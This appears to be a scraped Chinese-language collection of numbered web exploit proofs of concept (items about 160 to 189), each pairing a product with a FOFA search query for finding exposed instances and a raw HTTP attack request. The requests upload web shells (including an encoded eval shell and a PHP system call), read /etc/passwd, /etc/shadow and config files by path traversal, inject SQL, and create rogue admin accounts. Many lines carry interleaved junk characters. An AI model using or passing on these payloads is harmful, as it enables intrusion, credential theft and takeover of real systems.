<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
6 x# o2 c9 a* a8 q! H<jobUpload xmlns="http://rainier">
<vcode>1</vcode>
<subFolder></subFolder>
<fileName>abcrce.asmx</fileName>
6 m+ u8 D4 ]& Y' [: }0 J& Z<bufValue>PCVAIFdlYlNlcnZpY2UgTGFuZ3VhZ2U9IkpTY3JpcHQiIENsYXNzPSJXZWJTZXJ2aWNlMSIgJT4KIAppbXBvcnQgU3lzdGVtO2ltcG9ydCBTeXN0ZW0uV2ViO2ltcG9ydCBTeXN0ZW0uSU87aW1wb3J0IFN5c3RlbS5XZWIuU2VydmljZXM7CmltcG9ydCBTeXN0ZW0uV2ViLlNjcmlwdC5TZXJ2aWNlczsKaW1wb3J0IFN5c3RlbS5XZWI7CmltcG9ydCBTeXN0ZW0uV2ViLlNlcnZpY2VzOwogCnB1YmxpYyBjbGFzcyBXZWJTZXJ2aWNlMSBlleHRlbmRzIFdlYlNlcnZpY2UKewogCldlYk1ldGhvZEF0dHJpYnV0ZSBTY3JpcHRNZXRob2RBdHRyaWJ1dGUgZnVuY3Rpb24gQ21kc2hlbGwoUGFzcyA6IFN0cmluZykgOiBWb2lkCiAgICB7CiAgICAgICAgICAgIHZhciBjIID0gSHR0cENvbnRleHQuQ3VycmVudDsKICAgICAgICAgICAgdmFyIFJlcXVlc3QgPSBjLlJlcXVlc3Q7CiAgICAgICAgICAgIHZhciBSZXNwb25zZSA9IGMuUmVzcG9uc2U7CiAgICAgICAgICAgIGV2YWwoUGFzcyk7CiAgICCB9Cn0=</bufValue>
</jobUpload>
! M( c+ F& Y# p. Z% z6 u</soap:Body>
</soap:Envelope>

, Y3 D# u. n. b! R( s
$ W% v0 k7 z8 K' z& ^7 j/1/abcrce.asmx/Cmdshell?Pass=Response.Write("Hello,World")

* T% i! g( T+ |% Q0 b
160. Sonatype Nexus Repository 3目录遍历与文件读取
1 S' n0 N; `/ v% `# ACVE-2024-4956
6 n* _! w' G8 M  EFOFA：title="Nexus Repository Manager"
, I; D2 e$ d/ @+ e4 l0 y2 tGET /%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1
/ ]4 N- i2 e9 f6 _Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:21.0) Gecko/20100101 Firefox/21.0
Connection: close
, B. @$ {' ]4 A! lAccept: */*
1 v! U) C& z, ?$ V& |4 PAccept-Language: en
Accept-Encoding: gzip
  ^( H8 ]% T) l5 r. v3 b

161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
& B5 s* w, b. V' b. e7 LFOFA：body="/KT_Css/qd_defaul.css"
第一步，上传文件<fileName>字段指定文件名，<fileFlow>字段指定文件内容，内容需要base64加密
0 ~1 M& H* O, t2 VPOST /Webservice.asmx HTTP/1.1
5 y. u/ r4 y, UHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
7 o$ Z* l9 C0 n6 ^  S4 j* eConnection: close
Content-Length: 445
Content-Type: text/xml
1 b% S! j. n$ e3 x5 v0 |* pAccept-Encoding: gzip
4 Y- z5 p' d4 c( g6 F
<?xml version="1.0" encoding="utf-8"?>
! q1 ~! `3 j- w  c7 s5 t+ [( x<soap:Envelope xmlns:xsi="
http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"
, |% N5 ~0 W/ r5 U5 u: \xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
0 W; v: |9 E9 ]/ E) n<UploadResume xmlns="http://tempuri.org/">
<ip>1</ip>
: T  x+ ?3 i' C* p& p<fileName>../../../../dizxdell.aspx</fileName>
<fileFlow>andqbmFnc3phc3d1ZGh0bmhwYXc=</fileFlow>
4 \) _8 L  ~* T3 u+ }9 g/ H<tag>3</tag>
- ~4 _( e, ?2 Y4 [# `3 Z</UploadResume>
, ^! e! ~# C' X2 J( m5 f# g</soap:Body>
6 {+ K! U$ f+ Y</soap:Envelope>

- ~# R4 X$ N; c- t
$ L: X& n" Y2 H" _. Thttp://x.x.x.x/dizxdell.aspx

; p- {% \3 }6 ]- s, _162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
FOFA: app="和丰山海-数字标牌"
POST /QH.aspx HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
  w& U  q* G; y% T, dConnection: close
( h* m2 p+ y" VContent-Length: 583
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryeegvclmyurlotuey
Accept-Encoding: gzip

------WebKitFormBoundaryeegvclmyurlotuey
9 [- u/ h5 r8 g' ?, T" z. }Content-Disposition: form-data; name="fileToUpload"; filename="kjuhitjgk.aspx"
Content-Type: application/octet-stream

1 P: O$ l5 H) [<% response.write("ujidwqfuuqjalgkvrpqy") %>
------WebKitFormBoundaryeegvclmyurlotuey
" ?( g4 A0 ~5 j7 e8 ?& A; s3 LContent-Disposition: form-data; name="action"
# j$ S4 j% a  K/ G+ r# O
upload
1 @' P8 M3 a0 G8 @, U------WebKitFormBoundaryeegvclmyurlotuey
# d3 A; _: d! n- ?- sContent-Disposition: form-data; name="responderId"

" y# D/ e$ u+ k; z4 Z! a# `% nResourceNewResponder
------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="remotePath"
) t' P* C5 V* q
/opt/resources
------WebKitFormBoundaryeegvclmyurlotuey--


http://x.x.x.x/opt/resources/kjuhitjgk.aspx
2 T) v  G6 d# J: `, v, Y" L
0 w4 X0 n+ n9 Q/ R0 l! V. V163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
FOFA: icon_hash="-795291075"
POST /admin/controller/ue_serve.php?action=image&encode=utf-8 HTTP/1.1
+ D' B. }" V9 h8 j4 ]+ WHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
( Y3 [; s4 Q8 N7 O: f" GConnection: close
Content-Length: 293
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Type: multipart/form-data; boundary=----iiqvnofupvhdyrcoqyuujyetjvqgocod
( i& d+ m, J3 v" |# A
------iiqvnofupvhdyrcoqyuujyetjvqgocod
. D; G/ t7 R* K9 d9 [+ l: SContent-Disposition: form-data; name="name"
% x1 r0 o0 `, f- E0 i7 O
# p( F2 D% V% V/ d2 g2 U- ]1.php
& A# C6 v$ ~- r2 G------iiqvnofupvhdyrcoqyuujyetjvqgocod
  R  M9 u  y4 T& _2 l% sContent-Disposition: form-data; name="upfile"; filename="1.php"
Content-Type: image/jpeg

rvjhvbhwwuooyiioxega
------iiqvnofupvhdyrcoqyuujyetjvqgocod--
/ O: [$ U( w* N/ ^& R" a( T  k
- p+ I& r( p7 L$ g7 B) B
3 n/ W1 i$ q% f* }0 w( A  p4 c164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
FOFA: title="智慧综合管理平台登入"
POST /Module/FileUpPage/FileUpProductupdate.aspx HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
Content-Length: 288
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2,
Connection: close
) b7 U7 e& h. p% qContent-Type: multipart/form-data; boundary=----dqdaieopnozbkapjacdbdthlvtlyl
% p" ]- k8 [7 iX-Requested-With: XMLHttpRequest
9 ~5 k, z! V9 @! X, ?8 R; l; YAccept-Encoding: gzip

------dqdaieopnozbkapjacdbdthlvtlyl
% v  e' h8 s( z8 X( s% }! A5 nContent-Disposition: form-data; name="Filedata"; filename="qaz.aspx"
: K: M6 `4 B: OContent-Type: image/jpeg

<%@Page Language="C#"%><%Response.Write("aitwpovoxwtgixpfqiys");System.IO.File.Delete(Request.PhysicalPath);%>
------dqdaieopnozbkapjacdbdthlvtlyl--
2 g6 m! }. P2 x# X1 @' R, ^+ [
+ R7 q) w9 J6 C# `4 T( I
8 O( \! H; u6 F* |' vhttp://x.x.x.x/Upload/Publish/000000/0_0_0_0/update.aspx
" ?7 Y' I% p0 S0 S6 X; ^" C/ [
165. OrangeHRM 3.3.3 SQL 注入
CVE-2024-36428
+ R/ C; ]. G# yFOFA: app="OrangeHRM-产品"
URL:https://192.168.1.28/symfony/web ... e&sortOrder=ASC,(SELECT (CASE WHEN (5240=5240) THEN 1 ELSE 5240*(SELECT 5240 FROM INFORMATION_SCHEMA.PLUGINS) END))
$ ]* ~: ?5 g$ ]* g' s& X
4 ^( N- }5 V/ ]) j) Q) F  H
  M/ W$ _# a  ~7 H$ v) n166. 中成科信票务管理平台SeatMapHandler SQL注入
" |+ `3 J& Q6 r8 {7 q- B# x5 }& D. AFOFA：body="技术支持：北京中成科信科技发展有限公司"
7 \% w6 }& _; x  v6 s) R+ gPOST /SystemManager/Comm/SeatMapHandler.ashx HTTP/1.1
4 ^* R- {% l% p% y8 x  w0 eHost:
Pragma: no-cache
% O- V5 x! l8 ]* v/ ACache-Control: no-cache
2 b6 @8 m2 _, Y. Y8 XUpgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: ASPSESSIONIDCCRBRCTD=LHLBDIBAKDEGBCJGKIKMNODE
Connection: close
+ ^! f+ u9 L% h9 A- W3 oContent-Type: application/x-www-form-urlencoded
  K: e- |8 z* e" K+ x, YContent-Length: 89
; b. i9 G: R# \8 S" _  k5 t
* W3 |- e$ t6 ]; y! rMethod=GetZoneInfo&solutionNo=%27+AND+4172+IN+%28SELECT+%28CHAR%28104%29%2BCHAR%28101%29%2BCHAR%28108%29%2BCHAR%28108%29%2BCHAR%28111%29%29%29--+bErE
# X" Z, K: ?% y
2 N: j' I" g$ w: |
167. 精益价值管理系统 DownLoad.aspx任意文件读取
FOFA：body="/ajax/LVS.Core.Common.STSResult,LVS.Core.Common.ashx"
GET /Business/DownLoad.aspx?p=UploadFile/../Web.Config HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
$ a' r* @" Z( s- a1 W# x2 R4 GAccept-Encoding: gzip, deflate
& [1 F  h/ B2 e+ f- lAccept: */*
: o. ?- o) G' s7 k8 WConnection: keep-alive

/ i' O; v# z6 a* s- j
- |' t7 i( Q- A168. 宏景EHR OutputCode 任意文件读取
FOFA：app="HJSOFT-HCM"
GET /servlet/OutputCode?path=VHmj0PAATTP2HJBPAATTPcyRcHb6hPAATTP2HJFPAATTP59XObqwUZaPAATTP2HJBPAATTP6EvXjT HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Connection: close

! q6 q  O+ h8 K  O

3 }- H+ I$ {% H1 p+ A+ G169. 宏景EHR downlawbase SQL注入
FOFA：app="HJSOFT-HCM"
GET /templates/attestation/../../selfservice/lawbase/downlawbase?id=1';WAITFOR+DELAY+'0:0:5'--+ HTTP/1.1
# l: S# E1 f+ r- V2 r& w& r7 JHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
Connection: close

; j( t. e2 N$ d: B' j3 z

# K6 }* D! _/ R8 a7 x5 j0 @170. 宏景EHR DisplayExcelCustomReport 任意文件读取
1 d! @6 ?) ~% A& h2 T7 KFOFA：body="/general/sys/hjaxmanage.js"
7 w) b7 x, q6 y3 L5 q) Q4 j' oPOST /templates/attestation/../../servlet/DisplayExcelCustomReport HTTP/1.1
$ M0 h9 C2 I* W0 f1 x# ^6 f! L2 sHost: balalanengliang
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
+ m$ b) D, f, P/ M& b( `Content-Type: application/x-www-form-urlencoded

filename=../webapps/ROOT/WEB-INF/web.xml


171. 通天星CMSV6车载定位监控平台 SQL注入
FOFA：body="/808gps/"
GET /run_stop/delete.do;downloadLogger.action?ids=1)+AND+(SELECT+5394+FROM+(SELECT(SLEEP(5)))tdpw)--+&loadAll=1 HTTP/1.1
Host: your-ip
, F3 f7 e3 x% T* f7 a* I/ AUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
: T3 ^6 ?% ]1 C' b* }% w' wAccept: */*
; O; }' {1 g/ E2 H$ O& e, bAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
0 Y7 z  n# S. V# wAccept-Encoding: gzip, deflate
Connection: close

1 l  A. {5 M8 _3 D6 d) n1 t

172. DT-高清车牌识别摄像机任意文件读取
FOFA：app="DT-高清车牌识别摄像机"
0 p+ u& s$ A  UGET /../../../../etc/passwd HTTP/1.1
4 n- p/ U. M. X8 s3 D; B" i# }Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: gzip, deflate
5 d  q  k1 _) I' B5 UAccept: */*
- R2 }# k$ \5 g! N& n0 _: \' FConnection: keep-alive
+ k0 O+ s+ o0 C9 u3 y9 d6 ?; L

# `4 d4 N& r7 N. B- |5 u
# @, \6 i3 n% m# t& G173. Check Point 安全网关任意文件读取
CVE-2024-24919
* Q$ L- ]& `4 Z; r5 \, ]FOFA：app="Check_Point-SSL-Network-Extender"
& a( C, L- u/ q* bPOST /clients/MyCRL HTTP/1.1
+ e- n, D( [4 j. }0 _  jHost: your-ip
Content-Type: application/x-www-form-urlencoded

* F  l6 E4 J9 e- p. {6 kaCSHELL/../../../../../../../etc/shadow
/ F0 S% c. M1 y; q9 g

3 m6 t/ @" w/ I: I
174. 金和OA C6 FileDownLoad.aspx 任意文件读取
% f: O: x5 B2 x- lFOFA：app="金和网络-金和OA"
GET /c6/JHSoft.Web.CustomQuery/FileDownLoad.aspx?FilePath=../Resource/JHFileConfig.ini HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
% |6 c/ d5 t' _8 c  }3 mAccept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
: x( ^/ V$ S( ~6 `  }" iConnection: close
1 q6 S1 I% |% a; B' q6 o" P, [
# n; c/ m" J) T1 V$ s
4 X$ _6 q' ]& [: |3 [
175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
FOFA：app="金和网络-金和OA"
2 s2 W' `7 r, v/ y4 B, \9 S5 \GET /C6/JHSoft.Web.IncentivePlan/IncentivePlanFulfill.aspx/?IncentiveID=1%20WAITFOR%20DELAY%20'0:0:5'--&TVersion=1 HTTP/1.1
Host:
User-Agent: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
  a4 @; p7 g# h2 UAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
% X# ]3 E! A. a" jConnection: close
- q$ y% Z6 L2 N# @- w) v1 fUpgrade-Insecure-Requests: 1
$ P& l* @$ N/ K8 h

176. 电信网关配置管理系统 rewrite.php 文件上传
FOFA：body="img/login_bg3.png" && body="系统登录"
2 U  \6 c4 a3 k) VPOST /manager/teletext/material/rewrite.php HTTP/1.1
. {. V+ y2 _7 Q6 F' |$ p8 yHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryOKldnDPT
0 K/ K7 q& z$ d' W( F; ~Connection: close
  Q0 c+ B, v7 \& F
------WebKitFormBoundaryOKldnDPT
Content-Disposition: form-data; name="tmp_name"; filename="test.php"
Content-Type: image/png

<?php system("cat /etc/passwd");unlink(__FILE__);?>
" a- s3 j7 d5 k( [------WebKitFormBoundaryOKldnDPT
Content-Disposition: form-data; name="uploadtime"
& r. L) M- M) v; T3 ]9 [3 d. V8 z: p
, F( J5 E* @5 Z. M3 b1 N
------WebKitFormBoundaryOKldnDPT--
' m5 w, H# ^# ~+ a
6 X. ^7 g" b2 `$ M+ Z. \

8 u) o  G/ ?4 |: M8 J9 \177. H3C路由器敏感信息泄露
/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
/userLogin.asp/../actionpolicy_status/../M60.cfg
9 F$ N* i. [% T* v# i/userLogin.asp/../actionpolicy_status/../GR8300.cfg
/userLogin.asp/../actionpolicy_status/../GR5200.cfg
% X: _" z9 u7 T+ j- y. l9 S/userLogin.asp/../actionpolicy_status/../GR3200.cfg
/userLogin.asp/../actionpolicy_status/../GR2200.cfg
& J- I5 l& k# f& X2 p: c! h. k8 U- D/userLogin.asp/../actionpolicy_status/../ER8300G2-X.cfg
: q# b% T$ X1 ~: h& {) o4 t/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
2 m' G  }& [2 i" w8 ^/ @: ]/userLogin.asp/../actionpolicy_status/../ER6300G2.cfg
/ E- b( }( D) J( n8 J/userLogin.asp/../actionpolicy_status/../ER5200G2.cfg
  w8 r* j- [. s' u7 ?0 ]/userLogin.asp/../actionpolicy_status/../ER5200.cfg
& Y/ C1 c8 ?; n/userLogin.asp/../actionpolicy_status/../ER5100.cfg
! y1 f% D4 c" X  _1 h/userLogin.asp/../actionpolicy_status/../ER3260G2.cfg
& Q& ?6 f1 i) F# o' y) T+ T/userLogin.asp/../actionpolicy_status/../ER3260.cfg
/userLogin.asp/../actionpolicy_status/../ER3200G2.cfg
& I% z; i! Q6 O- G. X$ g0 @" {' w/userLogin.asp/../actionpolicy_status/../ER3200.cfg
/userLogin.asp/../actionpolicy_status/../ER3108GW.cfg
/userLogin.asp/../actionpolicy_status/../ER3108G.cfg
& N6 u$ S/ R1 j/ o  H/userLogin.asp/../actionpolicy_status/../ER3100G2.cfg
7 b, A4 g. ^8 [3 V4 Z: u# P/userLogin.asp/../actionpolicy_status/../ER3100.cfg
: s# S' A; B8 S3 V+ m! P/userLogin.asp/../actionpolicy_status/../ER2200G2.cfg
" u% m7 P% ?9 x+ A
: `% P7 ]  n8 A' x8 q7 _
178. H3C校园网自助服务系统-flexfileupload-任意文件上传
FOFA：header="/selfservice"
POST /imc/primepush/%2e%2e/flexFileUpload HTTP/1.1
Host:
4 p) M  Y# z! U% w. C: _; Z$ b0 \User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Content-Length: 252
Accept-Encoding: gzip, deflate
5 i7 t# c/ Y% ~3 s& W. A5 W0 mConnection: close
1 |. u8 \: W) Z( L4 gContent-Type: multipart/form-data; boundary=---------------aqutkea7vvanpqy3rh2l
-----------------aqutkea7vvanpqy3rh2l
0 k8 T  h; q; e/ e' \  KContent-Disposition: form-data; name="12234.txt"; filename="12234"
( I9 Q8 y/ N! RContent-Type: application/octet-stream
4 D! S, i& D$ z" [0 @Content-Length: 255
5 _4 e) s  P9 a( ], T
& n! D. F# D8 g. m, }. i6 x12234
# m% I0 B; I8 V. \-----------------aqutkea7vvanpqy3rh2l--
  }+ ~. w" e$ W

8 z5 l! I3 q! y; aGET /imc/primepush/%2e%2e/flex/12234.txt
( K! ?8 J4 h" N" M  a

! O: {% ?6 B' p3 C- W! E- ^  G" M179. 建文工程管理系统存在任意文件读取
POST /Common/DownLoad2.aspx HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
0 [5 l0 s3 ?$ g/ G9 {User-Agent: Mozilla/5.0
$ \- I5 P8 P& S, F- ?
path=../log4net.config&Name=
) @: u2 z1 l9 s! x. d$ F7 ^. V
3 Y5 R- o# t3 H& m/ t
180. 帮管客 CRM jiliyu SQL注入
FOFA：app="帮管客-CRM"
GET /index.php/jiliyu?keyword=1&page=1&pai=id&sou=soufast&timedsc=激励语列表&xu=and%201=(updatexml(1,concat(0x7e,(select%20user()),0x7e),1)) HTTP/1.1
2 L4 r- H5 X( s! SHost: your-ip
; k  u1 h& ?4 O: a( SUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
7 q+ ?5 V) l; b' f# `' K% PAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
% R" W7 e& F7 A2 C, f* v  o1 b$ m

181. 润申信息科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
. x4 [" j$ Y7 i( K) xFOFA："PDCA/js/_publicCom.js"
9 P3 d! X, G; i, M& d" ]) Y9 X* _! ~POST /PDCA/ashx/UpdataLogHandler.ashx HTTP/1.1
6 N, O( a$ D4 @3 [7 O, iHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
1 z8 w& J) c( S9 x# X; y/ O/ s1 {Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
+ U  J" g. `+ j: B# p( G' oAccept-Language: zh-CN,zh;q=0.9
. J3 O. _. s' m) B9 j/ x( xConnection: close
Content-Type: application/x-www-form-urlencoded


9 S1 y6 Z8 U; b( G  X9 p4 V  A6 \2 Uaction=GetAll&start=' WAITFOR DELAY '0:0:5'--&end=&code=11&type=2&page=1&rows=20
% x' j1 E- M& Q# I9 K% A; C

& {+ O3 x6 ?8 B1 a182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
FOFA："PDCA/js/_publicCom.js"
POST /PDCA/ashx/AddNewsHandler.ashx?action=Adduser HTTP/1.1
: x4 N9 ?5 c& D! R6 k' x, j; MHost: your-ip
0 F9 d2 n( p3 F2 ~5 pUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
9 P* ]1 d+ ?# x6 U$ aAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
& T' {7 F8 l+ u5 R: I5 RAccept-Encoding: gzip, deflate, br
7 g; O# c, v+ O2 i$ ]/ l+ n) ^, rAccept-Language: zh-CN,zh;q=0.9
: A" }+ i/ Z  t0 O3 aConnection: close
Content-Type: application/x-www-form-urlencoded

/ `. H& g1 C# l# ]
username=test1234&pwd=test1234&savedays=1

9 a, ~# @& o8 V0 j% v, {  S
& A1 M) \7 `4 {183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
, X9 P' Y5 g- `! s  Q% yFOFA：body="interlib/common/" || body="Interlib图书馆集群管理系统" || body="/interlib3/system_index" || body="打开Interlib主界面"
  x- U$ z9 ^- [2 yGET /interlib3/service/sysop/updOpuserPw?loginid=admin11&newpassword=Aa@123456&token=1%27and+ctxsys.drithsx.sn(1,(select%20111111*111111%20from%20dual))=%272 HTTP/1.1
& o0 ?% n- S9 n- U; V0 jHost: your-ip
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
, c, x) n4 N" t! j2 q2 V2 cAccept-Charset: utf-8
" {# E, }$ i% [2 A' y  f# zAccept-Encoding: gzip, deflate
Connection: close

8 J2 {9 ]' N4 d4 z2 r/ g: F
2 I$ S. L! f( ?1 }184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
( K, B8 H% c& K4 V( P4 ?FOFA：server="SunFull-Webs"
. m- s- @% o- i/ s! U$ bPOST /soap/AddUser HTTP/1.1
# T! u1 k) W8 ^" z# Y  j& m1 ?Host: your-ip
Accept-Encoding: gzip, deflate
" p3 r/ @+ x: ~7 E9 E) VUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Accept: application/xml, text/xml, */*; q=0.01
Content-Type: text/xml; charset=utf-8
! a1 ^* m4 ~. `; V0 n2 ~Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
$ c5 p4 G& U* Q- X8 T' `; {) pX-Requested-With: XMLHttpRequest


& Z$ e4 o" `4 j: Z- N7 N# i6 winsert into userid (USERNAME,PASSWORD,PURVIEW,LOGINDATE,LOGINTIME) values('root','123456','4','2024-5-6','11:7:56')
% x) d, P4 X; i+ g1 Q1 |% A, o4 A8 G
" ~% S" X$ n& ?6 D
185. 瑞友天翼应用虚拟化系统SQL注入
* T5 W$ M' u1 I3 C$ [& X* K3 ~7 Yversion < 7.0.5.1
FOFA：app="REALOR-天翼应用虚拟化系统"
; {; B& D) D* \  S1 x* x" ^GET /index.php?s=/Admin/appsave&appid=3%27%29%3Bselect+unhex%28%273c3f706870206563686f206d643528223122293b202466696c65203d205f5f46494c455f5f3b20756e6c696e6b282466696c65293b%27%29+into+outfile+%27.%5C%5C..%5C%5C..%5C%5CWebRoot%5C%5Cplom.xgi%27%23 HTTP/1.1
* L' ]3 l. @" I! Q& ]  O5 o# z% eHost: host
6 Q* z( Z, W# A6 x& j3 `& o$ `

186. F-logic DataCube3 SQL注入
CVE-2024-31750
, J- W2 v" ^, DF-logic DataCube3是一款用于光伏发电系统的紧凑型终端测量系统
. r! n. _- p3 c  rFOFA：title=="DataCube3"
6 ?" X4 U4 S: E7 P! ?POST /admin/pr_monitor/getting_index_data.php HTTP/1.1
8 ~" }2 M9 S; D  pHost: your-ip
) g/ ^3 s, n! i9 CUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
8 t  ?, m: N8 M# r( BConnection: close
+ b/ Y) s7 G7 z% A; y& lContent-Type: application/x-www-form-urlencoded
% `! R5 t$ G$ S& E
req_id=1) AND 1113=LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2)))) AND (1450=1450

( I9 I& d" h3 V" l. l6 O
/ a9 s; j3 y& e1 I) K; T. L9 C( j187. Mura CMS processAsyncObject SQL注入
CVE-2024-32640
FOFA："Mura CMS"
POST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
Host: your-ip
Content-Type: application/x-www-form-urlencoded
/ S8 O9 w8 B: ]  T( k1 Q6 _; K8 p

9 S6 a+ P* u8 a# p+ C! Dobject=displayregion&contenthistid=x%5c' AND (SELECT 3504 FROM (SELECT(SLEEP(5)))MQYa)-- Arrv&previewid=1


5 ^1 [( V  A& H* g2 y188. 叁体-佳会视频会议 attachment 任意文件读取
version <= 3.9.7
FOFA：body="/system/get_rtc_user_defined_info?site_id"
GET /attachment?file=/etc/passwd HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
1 L, y6 j! ~4 E/ o! {; Z( R# m7 pAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
) d. [5 \5 ?; F, N  y% v" XConnection: close


% E6 W2 H' ^  U7 \3 I189. 蓝网科技临床浏览系统 deleteStudy SQL注入
1 O( e4 h- u% E2 FFOFA：app="LANWON-临床浏览系统"
